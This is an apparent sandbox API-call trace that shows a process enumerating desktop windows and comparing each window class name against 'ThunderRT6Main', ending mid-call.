lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.712] GetWindowThreadProcessId (in: hWnd=0x2018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0181.712] GetWindow (hWnd=0x2018e, uCmd=0x2) returned 0x10186 [0181.712] GetClassNameA (in: hWnd=0x10186, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="promotingweightedcls") returned 20 [0181.712] lstrcmpA (lpString1="promotingweightedcls", lpString2="ThunderRT6Main") returned -1 [0181.712] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0181.712] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0181.712] GetClassNameA (in: hWnd=0x10188, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.712] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.712] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0181.712] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10180 [0181.712] GetClassNameA (in: hWnd=0x10180, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WordsRetainedremovalapp") returned 23 [0181.712] lstrcmpA (lpString1="WordsRetainedremovalapp", lpString2="ThunderRT6Main") returned 1 [0181.712] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0181.712] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x10184 [0181.712] GetClassNameA (in: hWnd=0x10184, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.712] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.713] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0181.713] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0181.713] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="famemoderatorwindow") returned 19 [0181.713] lstrcmpA (lpString1="famemoderatorwindow", lpString2="ThunderRT6Main") returned -1 [0181.713] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0181.713] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e [0181.713] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.713] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.713] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0181.713] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178 [0181.713] GetClassNameA (in: hWnd=0x10178, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Gpluckywindow") returned 13 [0181.713] lstrcmpA (lpString1="Gpluckywindow", lpString2="ThunderRT6Main") returned -1 [0181.713] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0181.713] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a [0181.713] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.713] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.713] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0181.713] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174 [0181.713] GetClassNameA (in: hWnd=0x10174, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="mediterraneanTallwin") returned 20 [0181.713] lstrcmpA (lpString1="mediterraneanTallwin", lpString2="ThunderRT6Main") returned -1 [0181.713] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0181.713] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176 [0181.713] GetClassNameA (in: hWnd=0x10176, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.713] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.713] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0181.713] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x20170 [0181.713] GetClassNameA (in: hWnd=0x20170, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Essays_Attorneys_wnd") returned 20 [0181.713] lstrcmpA (lpString1="Essays_Attorneys_wnd", lpString2="ThunderRT6Main") returned -1 [0181.714] GetWindowThreadProcessId (in: hWnd=0x20170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0181.714] GetWindow (hWnd=0x20170, uCmd=0x2) returned 0x10172 [0181.714] GetClassNameA (in: hWnd=0x10172, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.714] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.714] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0181.714] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c [0181.714] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Adequate_Downloading_window") returned 27 [0181.714] lstrcmpA (lpString1="Adequate_Downloading_window", lpString2="ThunderRT6Main") returned -1 [0181.714] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0181.714] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e [0181.714] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.714] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.714] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0181.714] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10168 [0181.714] GetClassNameA (in: hWnd=0x10168, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Cruises_Construct_win") returned 21 [0181.714] lstrcmpA (lpString1="Cruises_Construct_win", lpString2="ThunderRT6Main") returned -1 [0181.714] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0181.714] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x1016a [0181.714] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.714] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.714] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0181.714] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x10164 [0181.714] GetClassNameA (in: hWnd=0x10164, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Causing_Fighting_platinum_") returned 26 [0181.714] lstrcmpA (lpString1="Causing_Fighting_platinum_", lpString2="ThunderRT6Main") returned -1 [0181.714] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0181.714] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0181.714] GetClassNameA (in: hWnd=0x10166, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.715] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.715] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0181.715] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0181.715] GetClassNameA (in: hWnd=0x10160, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ConflictBindingunit") returned 19 [0181.716] lstrcmpA (lpString1="ConflictBindingunit", lpString2="ThunderRT6Main") returned -1 [0181.716] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0181.716] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0181.716] GetClassNameA (in: hWnd=0x10162, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.716] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.716] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0181.716] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x300fa [0181.716] GetClassNameA (in: hWnd=0x300fa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Packrxapp") returned 9 [0181.716] lstrcmpA (lpString1="Packrxapp", lpString2="ThunderRT6Main") returned -1 [0181.716] GetWindowThreadProcessId (in: hWnd=0x300fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0181.716] GetWindow (hWnd=0x300fa, uCmd=0x2) returned 0x1015e [0181.716] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.716] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.716] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0181.716] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x50102 [0181.716] GetClassNameA (in: hWnd=0x50102, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Cells_Surfaces_window") returned 21 [0181.716] lstrcmpA (lpString1="Cells_Surfaces_window", lpString2="ThunderRT6Main") returned -1 [0181.716] GetWindowThreadProcessId (in: hWnd=0x50102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0181.716] GetWindow (hWnd=0x50102, uCmd=0x2) returned 0x30108 [0181.716] GetClassNameA (in: hWnd=0x30108, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.716] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.716] GetWindowThreadProcessId (in: hWnd=0x30108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0181.716] GetWindow (hWnd=0x30108, uCmd=0x2) returned 0x3015a [0181.716] GetClassNameA (in: hWnd=0x3015a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0181.716] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0181.716] GetWindowThreadProcessId (in: hWnd=0x3015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0181.717] GetWindow (hWnd=0x3015a, uCmd=0x2) returned 0x10146 [0181.717] GetClassNameA (in: hWnd=0x10146, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0181.717] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0181.717] GetWindowThreadProcessId (in: hWnd=0x10146, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0181.717] GetWindow (hWnd=0x10146, uCmd=0x2) returned 0x10144 [0181.717] GetClassNameA (in: hWnd=0x10144, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0181.717] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0181.717] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0181.717] GetWindow (hWnd=0x10144, uCmd=0x2) returned 0x2013a [0181.717] GetClassNameA (in: hWnd=0x2013a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0181.717] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0181.717] GetWindowThreadProcessId (in: hWnd=0x2013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0181.717] GetWindow (hWnd=0x2013a, uCmd=0x2) returned 0x1012e [0181.717] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0181.717] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0181.717] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0181.717] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x10130 [0181.717] GetClassNameA (in: hWnd=0x10130, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.717] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.717] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0181.717] GetWindow (hWnd=0x10130, uCmd=0x2) returned 0x10124 [0181.717] GetClassNameA (in: hWnd=0x10124, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBEA41F0") returned 20 [0181.717] lstrcmpA (lpString1="ATL:000007FEFBEA41F0", lpString2="ThunderRT6Main") returned -1 [0181.717] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0181.717] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10126 [0181.717] GetClassNameA (in: hWnd=0x10126, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.717] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.717] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0181.718] GetWindow (hWnd=0x10126, uCmd=0x2) returned 0x10118 [0181.718] GetClassNameA (in: hWnd=0x10118, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0181.718] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0181.718] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0181.718] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x1011a [0181.718] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.718] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.718] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0181.718] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x10116 [0181.718] GetClassNameA (in: hWnd=0x10116, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0181.718] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0181.718] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0181.718] GetWindow (hWnd=0x10116, uCmd=0x2) returned 0x20018 [0181.718] GetClassNameA (in: hWnd=0x20018, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0181.718] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0181.718] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0181.718] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0181.718] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.718] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.718] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0181.718] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0181.718] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0181.718] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0181.718] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0181.718] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0181.718] GetClassNameA (in: hWnd=0x20016, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.718] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.719] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0181.719] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0181.719] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0181.719] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0181.719] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0181.719] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x1010a [0181.719] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.719] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.719] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0181.719] GetWindow (hWnd=0x1010a, uCmd=0x2) returned 0x10106 [0181.719] GetClassNameA (in: hWnd=0x10106, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0181.719] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0181.719] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x570 [0181.719] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10104 [0181.719] GetClassNameA (in: hWnd=0x10104, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0181.719] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0181.719] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0181.719] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x10100 [0181.719] GetClassNameA (in: hWnd=0x10100, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0181.719] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0181.719] GetWindowThreadProcessId (in: hWnd=0x10100, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0181.719] GetWindow (hWnd=0x10100, uCmd=0x2) returned 0x100fe [0181.719] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0181.719] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0181.719] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x53c [0181.719] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x5008e [0181.719] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0181.720] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0181.720] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.720] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0181.720] GetClassNameA (in: hWnd=0x10084, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0181.720] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0181.720] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0181.720] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0181.720] GetClassNameA (in: hWnd=0x10082, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0181.720] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0181.720] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.720] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007a [0181.720] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0181.720] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0181.720] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.720] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10068 [0181.720] GetClassNameA (in: hWnd=0x10068, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0181.720] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0181.720] GetWindowThreadProcessId (in: hWnd=0x10068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.720] GetWindow (hWnd=0x10068, uCmd=0x2) returned 0x20020 [0181.720] GetClassNameA (in: hWnd=0x20020, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0181.720] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0181.720] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0181.720] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0181.720] GetClassNameA (in: hWnd=0x20024, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.720] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.720] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0181.720] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x10064 [0181.721] GetClassNameA (in: hWnd=0x10064, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0181.721] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0181.721] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.721] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10052 [0181.721] GetClassNameA (in: hWnd=0x10052, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0181.721] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0181.721] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0181.721] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x10054 [0181.721] GetClassNameA (in: hWnd=0x10054, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.721] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.721] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0181.721] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004c [0181.721] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0181.721] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0181.721] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.721] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10044 [0181.721] GetClassNameA (in: hWnd=0x10044, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0181.721] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0181.721] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0181.721] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x20040 [0181.721] GetClassNameA (in: hWnd=0x20040, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0181.721] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0181.721] GetWindowThreadProcessId (in: hWnd=0x20040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0181.721] GetWindow (hWnd=0x20040, uCmd=0x2) returned 0x10042 [0181.721] GetClassNameA (in: hWnd=0x10042, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.721] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.721] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0181.721] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0181.722] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0181.722] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0181.722] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x44c [0181.722] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x2001e [0181.722] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0181.722] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0181.722] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0181.722] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20022 [0181.722] GetClassNameA (in: hWnd=0x20022, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0181.722] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0181.722] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0181.722] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x100ec [0181.722] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0181.722] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0181.722] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0181.722] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0181.722] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1960 [0181.722] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1960) [0181.890] GetCurrentThreadId () returned 0xbdc [0181.890] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0181.890] GetDesktopWindow () returned 0x10010 [0181.890] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x400a8 [0181.890] GetClassNameA (in: hWnd=0x400a8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0181.890] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0181.890] GetWindowThreadProcessId (in: hWnd=0x400a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.890] GetWindow (hWnd=0x400a8, uCmd=0x2) returned 0x300b6 [0181.890] GetClassNameA (in: hWnd=0x300b6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0181.890] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0181.890] GetWindowThreadProcessId (in: hWnd=0x300b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0181.890] GetWindow 